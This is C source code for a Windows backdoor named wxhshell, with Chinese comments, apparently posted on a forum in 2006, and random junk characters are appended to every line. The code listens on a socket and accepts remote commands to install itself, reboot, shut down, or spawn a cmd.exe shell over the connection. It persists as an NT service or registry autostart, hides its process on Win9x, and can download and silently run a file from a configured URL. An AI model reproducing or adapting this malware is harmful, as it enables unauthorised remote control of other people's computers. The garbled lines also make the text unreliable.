;_^fk&+  
    switch(cmd[0]) { |b-]n"}c>  
  co9 .wB@  
  // 帮助 G.( mp<-  
  case '?': { |37 g ~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K91)qI;BD  
    break; P&b19K'  
  } e_/b2"{  
  // 安装 j{NNSi3  
  case 'i': { /Wy.>YC|  
    if(Install()) 'Er:a?88l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R=,5kK3  
    else `;>= '"O!\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s 1e:v+B]  
    break; RLSc+kDH_  
    } oI.G-ChP  
  // 卸载 l'\pk<V  
  case 'r': { lKlU-4  
    if(Uninstall()) PSPmO'C+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dA-2e1 0  
    else 4"xPr[=iG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cCa|YW^j  
    break; NcP.;u;`  
    } {; .T7dL  
  // 显示 wxhshell 所在路径 Oi:<~E[kz.  
  case 'p': { ?c7*_<W5  
    char svExeFile[MAX_PATH]; A?`jnRo=\  
    strcpy(svExeFile,"\n\r"); Zc!@0  
      strcat(svExeFile,ExeFile); e'=MQ,EWd  
        send(wsh,svExeFile,strlen(svExeFile),0); C-Ht(x|  
    break; qA!]E^0*Ke  
    } ei6AV1| p  
  // 重启 h;-yU.(w  
  case 'b': { b.O9ITR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .P$IJUYO  
    if(Boot(REBOOT)) &t(0E:^TRU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o p%8NJf  
    else { qi^!GA'5j  
    closesocket(wsh); ]0B|V2D#e  
    ExitThread(0); #&8}<8V  
    } L0%hnA@  
    break; 39 Y(!q  
    } @>x pYV  
  // 关机 zNSu  
  case 'd': { ];+#i"l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 65,(4Udz!  
    if(Boot(SHUTDOWN)) J wmT /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )U:2z-X&e  
    else { /$"[k2 N  
    closesocket(wsh); QFPfIb/  
    ExitThread(0); O;HY%  
    } L?Yoh<  
    break; N:VX!w  
    } W YW|P2*  
  // 获取shell r,(e t  
  case 's': { nsb4S {  
    CmdShell(wsh); I1U7.CT  
    closesocket(wsh); 6 fz}  
    ExitThread(0); Q 6C-4ja  
    break; 'z=:[#b  
  } W2-=U@  
  // 退出 gLE7Edcp6V  
  case 'x': {  \4ghYQ:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *pzq.#  
    CloseIt(wsh); iP3Z  
    break; 02AI%OOH  
    } :RxHw;!  
  // 离开 s,*c@1f?  
  case 'q': { l]2r)!Q7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4y}"Hy  
    closesocket(wsh); (/ " &  
    WSACleanup(); ?v}Bd!'+P  
    exit(1); '[P}&<ie,  
    break; P ,eH5w"  
        } ^4v*W;Q  
  } T_<BVM  
  } c:M$m3Cs?  
02JL*  
  // 提示信息 vOI[Z0Lq9h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -m 5}#P89  
} *B)yy[8j+  
  } ;P?q2jI  
FrTg4  
  return; 0m9ZQ O  
} bzmr"/#D3  
_'x8M  
// shell模块句柄 R@T6U:1  
int CmdShell(SOCKET sock) +:jT=V"X  
{ ;SKh   
STARTUPINFO si; s]B"qF A  
ZeroMemory(&si,sizeof(si)); *j)M]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -dTLunv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ET^|z  
PROCESS_INFORMATION ProcessInfo; _q>SE1j+W=  
char cmdline[]="cmd"; Y^ve:Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K% KZO`gO  
  return 0; 10sK]XI  
} }ZZ5].-a<D  
%NHYW\sKX  
// 自身启动模式 N1--~e  
int StartFromService(void) ES:!Vx9t0|  
{ ;@4H5p  
typedef struct GtI6[ :1t  
{ 6DSH`-;  
  DWORD ExitStatus; {6vEEU  
  DWORD PebBaseAddress; |@VF.)_  
  DWORD AffinityMask; v$|mo;6  
  DWORD BasePriority; \94jrr  
  ULONG UniqueProcessId; {M~lbU  
  ULONG InheritedFromUniqueProcessId; V`a+Hi<P\  
}   PROCESS_BASIC_INFORMATION; 2C+(":=}  
OjnJV  
PROCNTQSIP NtQueryInformationProcess; $.e)  
uf)Oy7FQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GaNq2G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !DjT<dxf  
1-;?0en&0  
  HANDLE             hProcess; jPu5nwvUV>  
  PROCESS_BASIC_INFORMATION pbi; =LH}YUmd  
Aa(<L$e!`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m24v@?*  
  if(NULL == hInst ) return 0; +GNWF% zN  
$G?(OWI}l`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %|Hp Bs#'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ML!9:vz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {/M\Q@j  
7|D|4!i2Y  
  if (!NtQueryInformationProcess) return 0; L-'k7?%(  
qJs[i>P[W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MR9/Y:Nm  
  if(!hProcess) return 0; oFg'wAO.  
}N3`gCy9eN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )@ PnTpL*  
0g(6r-2)7  
  CloseHandle(hProcess); u35q,u=I  
0o/B{|rv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [QEwK|!L  
if(hProcess==NULL) return 0; EnCU4CU`  
t3F?>G#y  
HMODULE hMod; CI^|k/  
char procName[255]; B\<ydN  
unsigned long cbNeeded; a?<?5   
@!H '+c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %O) Z  
af>3V(7  
  CloseHandle(hProcess); N~#D\X^t.  
ckwF|:e 7*  
if(strstr(procName,"services")) return 1; // 以服务启动 gL]'B!dGd  
&6"P7X  
  return 0; // 注册表启动 lCFU1 GHH  
} _nX%#/{  
.ewZV9P)t  
// 主模块 <?|6*2_=  
int StartWxhshell(LPSTR lpCmdLine) p{H0dj^|  
{ G,DOBA  
  SOCKET wsl; "a( 1s} ,  
BOOL val=TRUE; S%+R#A1  
  int port=0; t"YIq/08  
  struct sockaddr_in door; d^aNR Lv  
Y+|PY? ~  
  if(wscfg.ws_autoins) Install(); %Dyh:h   
l P0k:  
port=atoi(lpCmdLine); iSd?N}2,I  
m`9^.>]P  
if(port<=0) port=wscfg.ws_port; xii$e  
BvJ=iB<E  
  WSADATA data; ONWO`XD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =J.EH|  
8t``NZ[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \!PV*%P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jr?!Mh-  
  door.sin_family = AF_INET; t,Q'S`eTU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,8`O7V{W  
  door.sin_port = htons(port); #:W%,$ 9\P  
|Y{PO&-?r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B!`\L!  
closesocket(wsl); 3/tJDb5  
return 1; :0dfB&7  
} !fZLQc  
u%aFb*  
  if(listen(wsl,2) == INVALID_SOCKET) { M71R -B`-  
closesocket(wsl); (HSw%e  
return 1; 5&%fkZ0  
} j];G*-iv{  
  Wxhshell(wsl); Kw*~W i  
  WSACleanup(); W"O-L  
}bgo )<i  
return 0; *.dKR  
(,TH~("{  
} p,s&61]  
|UZOAGiBg  
// 以NT服务方式启动 |KaR n;BM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xoi9d1fO  
{ vTcZ8|3e  
DWORD   status = 0; &?}1AQAYg  
  DWORD   specificError = 0xfffffff; thQ J(w  
+/Z0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P8]ORQ6 ZF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C,='3^Nc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ReqE?CeV  
  serviceStatus.dwWin32ExitCode     = 0; 8q*";>*  
  serviceStatus.dwServiceSpecificExitCode = 0; MBv/  
  serviceStatus.dwCheckPoint       = 0; LH.%\TMN$  
  serviceStatus.dwWaitHint       = 0; \!7*(&yly  
k) 3s?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uf?b%:A  
  if (hServiceStatusHandle==0) return; Wa}"SqYr h  
:5<#X8>d  
status = GetLastError(); .J:;_4x  
  if (status!=NO_ERROR) #}j]XWy  
{ Avd *~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X=#It&m%s  
    serviceStatus.dwCheckPoint       = 0; AA_@\: w^  
    serviceStatus.dwWaitHint       = 0; T8mY#^sW_  
    serviceStatus.dwWin32ExitCode     = status; 'W+i[Ep5Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; jRwa0Px(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mOSCkp{<e  
    return; ?GfxBZWJ  
  } ip674'bq7R  
K /8qB~J*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J2=*-O:  
  serviceStatus.dwCheckPoint       = 0; /6smVz@O  
  serviceStatus.dwWaitHint       = 0; GM77Z.Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q.>/*8R;  
} 5d(qtFH1  
ef,F[-2^o  
// 处理NT服务事件,比如:启动、停止 =lm nzu<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @Z"?^2  
{ iU,/!IQ  
switch(fdwControl) _4Ii5CNNU  
{ 8}9Ob~on  
case SERVICE_CONTROL_STOP: Djyp3uUA/  
  serviceStatus.dwWin32ExitCode = 0; J[MVE4&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6w@,I;   
  serviceStatus.dwCheckPoint   = 0; N@}gLBf  
  serviceStatus.dwWaitHint     = 0; a6P!Wzb  
  { KDX$.$#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }*Dd/'2+1  
  } cL ae=N  
  return; M!-q}5';  
case SERVICE_CONTROL_PAUSE: "s> >V,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oN4G1U Kc  
  break; "TUPYFK9  
case SERVICE_CONTROL_CONTINUE: |C|:i@c H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a /QIJ*0  
  break; `{%-*f^  
case SERVICE_CONTROL_INTERROGATE: v/ eB,p  
  break; Jtext%"eNg  
}; RpULm1b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5W|u5AIw  
} t+jIHo  
hO%Y{Gg  
// 标准应用程序主函数 we }#Ru*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  Hl!1h%  
{ $>|?k$(x  
(%Ng'~J\|  
// 获取操作系统版本 {GAsFnZk  
OsIsNt=GetOsVer(); $>EqH?EQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nQ!N}5[z'  
|iAEDZn  
  // 从命令行安装 iq,ah"L  
  if(strpbrk(lpCmdLine,"iI")) Install(); E}Ljo  
*-{Omqw  
  // 下载执行文件 BU'Ki \  
if(wscfg.ws_downexe) { f<^ScFVR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QaIi.* tic  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Sh0dFqeT  
} xP42xv9U  
FF8WTuzB+  
if(!OsIsNt) { hJ<:-u+yk}  
// 如果时win9x,隐藏进程并且设置为注册表启动 R !jhwY$  
HideProc(); l'W3=,G[?  
StartWxhshell(lpCmdLine); k:`a+LiZ  
} 8u/3?Kc  
else rtcJ=`)0`  
  if(StartFromService()) uF+);ig  
  // 以服务方式启动 m\l51}xz  
  StartServiceCtrlDispatcher(DispatchTable); Vn@A]Jx^  
else D\n>*x  
  // 普通方式启动 ,zc"udpKF  
  StartWxhshell(lpCmdLine); bJANZn|H  
H&w(]PDh  
return 0; #j\*Lc"Ur:  
}
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只看该作者 1 发表于: 2006-10-10
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